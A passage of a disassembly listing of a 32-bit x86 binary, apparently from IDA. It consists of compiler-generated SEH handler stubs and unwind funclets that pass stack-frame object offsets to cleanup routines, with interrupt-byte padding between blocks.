; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD6B:				; DATA XREF: ___:00441D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F50	proc near		; DATA XREF: sub_417F50+2o
		mov	eax, offset dword_441D50
		jmp	sub_437AB8
SEH_417F50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
